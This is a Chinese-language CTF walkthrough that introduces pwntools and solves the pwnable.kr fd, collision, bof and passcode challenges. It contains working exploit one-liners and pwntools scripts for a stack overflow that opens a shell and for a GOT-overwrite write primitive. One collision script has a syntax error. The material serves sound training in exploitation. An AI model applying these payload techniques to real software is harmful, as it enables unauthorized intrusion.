1. 概述
pwnable.kr 是全球安全界最著名的二进制漏洞利用(PWN/Exploit)在线通关挑战网站之一。它由韩国著名的安全技术团队(主要由韩国科学技术院 KAIST 的选手和专家组成)开发并维护。
pwnable.kr是靶场通关全球最著名的 PWN 专项刷题网站之一,界面简洁,关卡设计精妙。内容分为 Toddler’s Bottle(新手瓶)、Rookiss、Grotesque 和 Hacker’s Secret 四个难度。最开始的几道题是新手建立信心的绝佳选择。
1.1 核心特点
- 专项针对 PWN:不同于一般的综合性网络安全靶场,它几乎纯粹专注于 Linux 操作系统下的二进制漏洞挖掘与利用(如栈溢出、堆溢出、格式化字符串、条件竞争等);
- SSH 真实环境:每道题目通常会提供一个 SSH 连接地址和凭证。你需要直接登录到远程 Linux 服务器上,在真实的系统环境里阅读源码(部分题目提供)、分析二进制文件并获取最高权限以读取
flag; - 设计精妙且有趣:题目往往带有一定故事性或精巧的逻辑,不仅考验代码漏洞,还深度考察对 Linux 系统底层机制(如系统调用、文件描述符、进程间通信)的理解;
1.2 关卡难度划分
网站将题目由浅入深分为四个阶段(难度呈指数级上升):
- Toddler’s Bottle(新手奶瓶):
- 适合人群:刚入门二进制安全的初学选手;
- 内容:包含汇编基础、简单缓冲区溢出、环境变量利用等。虽然叫“奶瓶”,但对于完全零基础的人来说依然具有一定挑战性;
- Rookiss(菜鸟/进阶):
- 适合人群:掌握了基础栈溢出和 ROP(返回导向编程)的选手;
- 内容:开始引入现代操作系统的安全防护绕过(如 ASLR, NX, Canary)以及基础的堆漏洞利用;
- Grotesque(怪异/高难):包含非常规的二进制漏洞、复杂的逻辑漏洞以及极具脑洞的利用方式;
- Hacker’s Secret(黑客秘密/顶尖):属于骨灰级难度,涉及尖端的漏洞利用技术和复杂的系统底层对抗;
2. 环境搭建
2.1 pwntools简介
pwntools 是一个基于 Python 开发的专业二进制漏洞利用(PWN)与 CTF 比赛框架。
简单来说,它是二进制安全人员在编写 Exploit(漏洞利用脚本)时最常用、几乎人手必备的“瑞士军刀”。在解决像 pwnable.kr 这类靶场题目时,绝大多数选手都会用 pwntools 来编写自动化攻击脚本。
pwntools 的设计初衷是为了让安全研究员免去重复编写底层网络通信和数据打包代码的痛苦,它将常见操作封装成了极简的 API:
- 远程与本地无缝切换(Tubing):可以用同一套代码连接远程服务器(
remote('ip', port))或启动本地二进制文件(process('./pwn')),方便在本地调试成功后直接一键打远程; - 数据打包与解包(Packing/Unpacking):计算机底层的内存地址需要转换为字节流(如小端序)。pwntools 提供了
p32()/p64()(将整数打包为 32/64 位字节)和u32()/u64()(将字节解包为整数),免去了手动计算\x00的麻烦; - 简便的输入输出控制:提供了
recvuntil('string')(接收直到出现某个字符串)、sendline(data)(发送带换行符的数据)等函数,能精准控制与漏洞程序的交互; - 自动化 ROP 链构造(ROP & ELF):内置
ELF模块可以自动解析二进制文件的内存地址(如 PLT、GOT 表)。它的 ROP 模块甚至可以自动帮你搜寻并拼接 ROP 链(返回导向编程),大大节省手工推算时间; - Shellcode 生成(Shellcraft):内置了大量针对不同架构(x86, amd64, arm 等)的现成 Shellcode(如直接调用
/bin/sh的代码),一行代码即可生成:shellcraft.sh();
2.2 pwntools安装
目前pwntools官方已经不再支持python2了,建议在python3环境下学习pwntools。kali系统python3环境安装步骤如下:
apt-get update #更新源
python3 -m venv path/to/venv #创建虚拟环境
sudo ./path/to/venv/bin/python3 -m pip install --upgrade pip #安装pip
sudo ./path/to/venv/bin/python3 -m pip install --upgrade pwntools #安装pwntools
第一步,更新apt源:

第二步,创建python3的虚拟环境(为了避免和本地环境冲突)

第三步,安装pip

第四步,安装pwntools

安装成功的截图如下:

如果遇到安装错误问题,可尝试使用如下命令:
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
2.3 测试运行
安装成功后,可直接打开python3命令行运行:
./path/to/venv/bin/python3
import pwn
pwn.asm("xor eax,eax") #b'1\xc0'
测试运行成功的截图如下:

3. 合集
pwnable.kr项目主页:

3.1 pwnable-fd
第一题是关于Linux文件描述符:

根据界面提示,使用ssh远程连接pwnable.kr,端口为2222:
ssh fd@pwnable.kr -p2222
打开终端输入命令后,发现连接主机失败:

这是网络配置问题,kali系统每次开机都需要重启ssh服务:
sudo /etc/init.d/ssh restart

连接后,提示输入密码(guest):

查看文件列表和权限:

发现可以操作的只有fd.c文件,输入cat fd.c命令查看内容:

代码的作用是fd-0x1234后作为File descriptor传给read:
atoi()函数:将字符串(ASCII 字符串)转换为整数(Integer);read()函数:它是一个核心的底层系统调用,用于从打开的文件、管道、网络套接字或设备中读取数据。它是不带缓冲的 I/O 操作,直接与内核交互:fd(File Descriptor):文件描述符。由open()、socket()等函数返回,代表要读取的目标对象(如标准输入0);buf(Buffer):指向内存缓冲区的指针。读取到的数据会被存放在这里;count(Count):期望读取的最大字节数;
#include <unistd.h>
ssize_t read(int fd, void *buf, size_t count); //原型
其中,第一个参数fd文件描述符是内核用来索引进程打开文件的整数句柄,在 Linux “一切皆文件” 的哲学下,fd 不仅代表普通文件,还代表网络套接字、管道、终端、设备等;
每个进程在启动时,内核都会默认帮它打开 3 个标准文件描述符:0代表标准输入、1代表标准输出、2代表标准错误输出;所以这里如果要读入fd=0,于是传入参数0x1234(10进制4660),所以输入:
./fd 4660
LETMEWIN

fd传入4660后,read会读入到buf缓冲区,最后就可以得到flag;因此exp如下:
from pwn import *
pwn_ssh=ssh(host='pwnable.kr',user='fd',password='guest',port=2222)
print (pwn_ssh.connected())
sh=pwn_ssh.process(argv=['fd','4660'],executable='./fd')
sh.sendline("LETMEWIN")
print (sh.recvall())
3.2 pwnable-collision
ssh命令操作同fd步骤一样,这里简略,连接靶机后,查看当前目录,通常包含 col(可执行文件)、col.c(源码)和 flag。源码如下:
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
setregid(getegid(), getegid());
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}
源码的操作很简单,逻辑大致如下:
- 首先检查输入参数长度是否为 20 个字节;
- 将输入的 20 个字节按 4 个字节(一个
int整型)为单位分为 5 段; - 将这 5 个
int值相加,判断其总和是否等于特定的哈希值0x21DD09EC; - 如果相等,则输出flag;
解题过程:
第一步:计算目标和的单份数值:
目标总和是 0x21DD09EC。
将其转换为十进制是 568134124。
题目要求由 5 个整数相加得到这个值。
我们可以用 568134124 / 5 = 113626824(余数是 4)。
所以前 4 个数可以是 113626824(十六进制为 0x06C5CEC8),第 5 个数加上余数 4,即 113626828(十六进制为 0x06C5CECC)。
第二步:处理小端序(Little-Endian):
在 x86/x64 等小端架构中,低位字节存放在内存低地址:
0x06C5CEC8的小端序表示为:\xc8\xce\xc5\x06;0x06C5CECC的小端序表示为:\xcc\xce\xc5\x06;
第三步:构造 Payload:
需要输入 4 个 \xc8\xce\xc5\x06 和 1 个 \xcc\xce\xc5\x06,总长度刚好是 20 字节。
可以使用 Python 来执行并传递参数:
./col $(python3 -c 'import sys; sys.stdout.buffer.write(b"\xc8\xce\xc5\x06" * 4 + b"\xcc\xce\xc5\x06")')

python版本的exp如下:
def exp():
pl = p32(0x6c5cec8) * 4 + p32(6c5cecc)
p = io.process(executable = './col',argv=['col',pl])
flag = p.recv()
log.info(f"Flag={flag}")
p.close()
io.close()
exp()
io.interactive()
3.3 pwnable-bof
这是一道非常经典的栈缓冲区溢出的基础题,主要考察如何通过破坏栈内存来修改函数局部变量的值。
由于无法直接在服务器上编译运行,需要通过官方提供的链接下载 bof 可执行文件和 bof.c 源码:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
setregid(getegid(), getegid());
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
- 危险函数
gets:gets(overflowme)会无限制地读取用户的输入,直到遇到换行符。而存放输入的缓冲区overflowme只有 32 字节。如果输入的字符超过 32 字节,就会覆盖栈上紧随其后的其他数据; - 目标:传入
func的初始参数key是0xdeadbeef。我们的目标是通过溢出overflowme,一路上把栈内存覆盖掉,精准地将key的位置篡改写为0xcafebabe;
从官网下载二进制文件bof,使用gdb工具进行调试:
gdb ./bof
(gdb) disas func

理论上的栈结构草图如下(由低地址到高地址):
[ 低地址 ]
| [ overflowme 缓冲区 ] <- gets 从这里开始写入
| [ 编译器填充的空白/对齐空间 ]
| [ Saved EBP (4 字节) ]
| [ Return Address (4 字节) ]
| [ 参数 key (4 字节) ] <- 我们的目标:将其覆盖为 \xbe\xba\xfe\xca
[ 高地址 ]
在反汇编出来的 func 函数汇编代码中,重点寻找两个位置:
gets函数传参的位置:通常会看到类似lea eax, [ebp-0x2c],然后把eax压栈作为gets的参数。这说明overflowme缓冲区的起始地址在ebp - 0x2c(十进制的ebp - 44);cmp比较指令的位置:会看到类似cmp dword ptr [ebp+0x8], 0xcafebabe。这说明参数key位于ebp + 0x8(十进制的ebp + 8);
从 overflowme 的起点,到 key 的起点,中间相隔的字节数为:(ebp+8)-(ebp-44) = 8+44 = 52字节;也就是说,我们需要先输入 52 个任意垃圾字符(填充缓冲区、对齐空间、EBP和返回地址),接下来的 4 个字节就会精准覆盖到 key;
目标值是 0xcafebabe。由于 x86 架构是小端序(Little-Endian)存储,在输入时我们需要将其倒序写作:\xbe\xba\xfe\xca;利用 Linux 的 cat 命令来维持标准输入,查看readme文件,得知运行端口是10003:
(python3 -c 'import sys; sys.stdout.buffer.write(b"A" * 52 + b"\xbe\xba\xfe\xca\n")'; cat) | nc pwnable.kr 10003
运行上述命令后,终端屏幕上会处于“静止”状态(没有任何提示符,这是正常的)。直接在键盘上输入 shell 命令即可,例如:
ls
cat flag

python3的exp版本如下:
from pwn import *
pwn_socket=remote('pwnable.kr',10003)
pwn_socket.sendline(b'A' * 52 + b'\xbe\xba\xfe\xca')
pwn_socket.interactive()

3.4 pwnable-passcode
这道题是一道非常经典的 格式化字符串或 未初始化变量导致的任意内存写入(GOT覆写) 漏洞题目。
3.4.1 源码分析
首先,下载并查看题目提供的 passcode.c 核心源码:
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
setregid(getegid(), getegid());
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.1 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
漏洞的核心要点如下:
scanf缺少取地址符&:在login()函数中,scanf("%d", passcode1)的参数是passcode1变量的值,而不是它的内存地址。scanf会把用户输入的数据,写入到passcode1的值所指向的内存地址中。这就会造成任意内存写漏洞;- 栈内存复用(未初始化变量):在
main函数中,程序先调用welcome(),再调用login()。这两个函数在同一个线程中连续执行,它们会复用同一块栈内存空间。welcome()中的name[100]数组,其在栈上的位置,正好覆盖了后来login()中局部变量passcode1的位置;
3.4.2 调试与栈结构分析
我们需要做的是:通过输入name,精准地将passcode1的值修改为我们想要写入的目标内存地址。
第一步:寻找name和passcode1的相对位置
在靶机上使用GDB调试:
gdb ./passcode
(gdb)disassemble welcome
(gdb)disassemble login
- 查看welcome函数,可以找到name变量在栈上的起始地址为ebp-0x70(十进制112);
- 查看login函数,可以找到passcode1变量在栈上的起始地址为ebp-0x10(十进制16);
- 计算偏移:0x70-0x10=0x60(十进制96);也就是说,在welcome函数提示输入name时,我们先输入96个垃圾字符,接下来的4个字节就刚好落在passcode1的存储区域;


第二步:将passcode1改成某个函数的GOT地址
既然 scanf("%d", passcode1) 会往 passcode1 指向的地址写数据,那如果我们把 passcode1 改成某个函数的 GOT(Global Offset Table,全局偏移表)地址,当 scanf 执行时,就能把该函数的真实地址篡改为我们想要的任意代码地址(比如执行 system("/bin/cat flag") 的地方);
这种手法叫做 GOT 覆写(GOT Hijacking)。在 login() 中,紧接着 scanf 后面执行的第一个库函数是 printf("enter passcode2 : ")。如果我们把 printf 的 GOT 地址改成 system("/bin/cat flag") 这一行的代码跳转地址,那么程序一执行 printf,实际上就会跑去帮我们打印 flag;
3.4.3 寻找关键目标地址
我们需要在靶机上收集两个关键地址:
第一个:printf函数的GOT地址:
使用 objdump 命令查看程序的重定向表:
objdump -R ./passcode

在输出中找到 printf,它的地址是:0x0804c010(请以你实际运行的结果为准);
第二个:system(“/bin/cat flag”) 的跳转地址
我们需要找到调用 system 打印 flag 的那条汇编指令的起始地址。反汇编 login:
(gdb) disassemble login

在代码后半段,寻找调用 system 之前、或者将 "/bin/cat flag" 压栈的那一行。通常会看到类似这样的代码:
0x080492bd <+199>: lea eax,[ebx-0x1fb9]
0x080492c3 <+205>: push eax
0x080492c4 <+206>: call 0x80490a0 <system@plt>
我们需要把目标锁定在 0x080492bd(十进制:134517437)。因为 scanf("%d", ...) 要求输入的是十进制整数,所以必须把十六进制地址转换成十进制。而Login OK的地址则是0x0804928f,换成十进制则是134517391;
3.4.4 Payload 构造与通关
此时的内存布局设计:
- 前 96 字节:任意垃圾字符(如 A * 96);
- 后 4 字节:
printf的 GOT 地址(0x0804c010),注意采用小端序:\x10\xc0\x04\x08; - 接着,程序会提示输入 passcode1。因为 passcode1 此时的值已经是
printf的 GOT 地址了,所以我们直接输入十进制的跳转目标地址 134517437;
在靶机终端执行以下命令(利用 Python 将数据通过管道喂给程序):
python3 -c 'import sys; sys.stdout.buffer.write(b"A" * 96 + b"\x10\xc0\x04\x08" + b"\n" + b"134517437\n")' | ./passcode
程序读取名字后,将 printf 的 GOT 篡改。随后当程序试图执行 printf("enter passcode2 : ") 时,直接触发劫持,跳转到 system 成功打印出 flag。

1. 一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。